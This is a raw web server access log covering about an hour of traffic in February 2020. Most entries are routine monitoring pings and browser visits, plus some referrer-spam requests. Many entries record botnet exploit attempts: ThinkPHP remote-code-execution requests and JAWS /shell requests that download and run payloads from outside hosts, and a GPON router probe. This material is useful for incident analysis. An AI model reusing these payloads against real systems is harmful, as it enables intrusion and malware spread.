185.132.251.44 - - [06/Feb/2020:07:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:07:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.36.53.92 - - [06/Feb/2020:07:42:01 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
5.141.153.243 - - [06/Feb/2020:07:42:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.35.2 - - [06/Feb/2020:07:43:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:07:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.35.237.234 - - [06/Feb/2020:07:43:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.90.238 - - [06/Feb/2020:07:44:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [06/Feb/2020:07:44:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
89.28.49.5 - - [06/Feb/2020:07:45:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:07:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.4.110.94 - - [06/Feb/2020:07:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:07:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.114.46 - - [06/Feb/2020:07:47:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.85.242.4 - - [06/Feb/2020:07:49:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
207.216.89.109 - - [06/Feb/2020:07:55:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.252.2 - - [06/Feb/2020:07:56:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.134 - - [06/Feb/2020:07:57:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:07:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.244.232 - - [06/Feb/2020:07:57:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.182.30 - - [06/Feb/2020:07:58:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.71.181.16 - - [06/Feb/2020:07:58:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.124.65 - - [06/Feb/2020:08:00:08 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [06/Feb/2020:08:00:08 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [06/Feb/2020:08:00:08 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [06/Feb/2020:08:00:09 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [06/Feb/2020:08:00:09 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [06/Feb/2020:08:00:09 +0100] "GET / HTTP/1.1" 200 1229 "https://virtualbb.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [06/Feb/2020:08:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [06/Feb/2020:08:02:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:08:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.13.189 - - [06/Feb/2020:08:04:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.227.16.111 - - [06/Feb/2020:08:06:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
36.227.16.111 - - [06/Feb/2020:08:06:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.119.115.86 - - [06/Feb/2020:08:07:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [06/Feb/2020:08:11:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.174.25.238 - - [06/Feb/2020:08:11:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.197.68.74 - - [06/Feb/2020:08:11:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.210.18.224 - - [06/Feb/2020:08:12:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:08:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.141.219 - - [06/Feb/2020:08:16:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.91 - - [06/Feb/2020:08:18:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.35.34.183 - - [06/Feb/2020:08:18:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.250.82.24 - - [06/Feb/2020:08:20:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.95.49 - - [06/Feb/2020:08:21:29 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
122.170.14.210 - - [06/Feb/2020:08:22:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.198.239.74 - - [06/Feb/2020:08:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:08:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.149.203.127 - - [06/Feb/2020:08:24:58 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
35.201.161.107 - - [06/Feb/2020:08:25:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.118.179.75 - - [06/Feb/2020:08:27:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.177.231.58 - - [06/Feb/2020:08:29:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
200.168.65.196 - - [06/Feb/2020:08:29:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:08:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.91 - - [06/Feb/2020:08:29:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.178.102.98 - - [06/Feb/2020:08:31:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.126.142 - - [06/Feb/2020:08:33:10 +0100] "GET / HTTP/1.1" 200 1229 "https://sauna-v-ufe.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:08:33:11 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:08:33:11 +0100] "GET / HTTP/1.1" 200 1229 "https://sauna-v-ufe.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:08:33:11 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:08:33:11 +0100] "GET / HTTP/1.1" 200 1229 "https://sauna-v-ufe.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:08:33:12 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [06/Feb/2020:08:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.152.35.139 - - [06/Feb/2020:08:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:08:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.78.146 - - [06/Feb/2020:08:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:08:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.241.202 - - [06/Feb/2020:08:35:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.200.238.65 - - [06/Feb/2020:08:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
176.163.131.89 - - [06/Feb/2020:08:40:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:08:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.91.194.160 - - [06/Feb/2020:08:42:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
181.91.194.160 - - [06/Feb/2020:08:42:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:08:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.31.110.19 - - [06/Feb/2020:08:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [06/Feb/2020:08:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:08:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
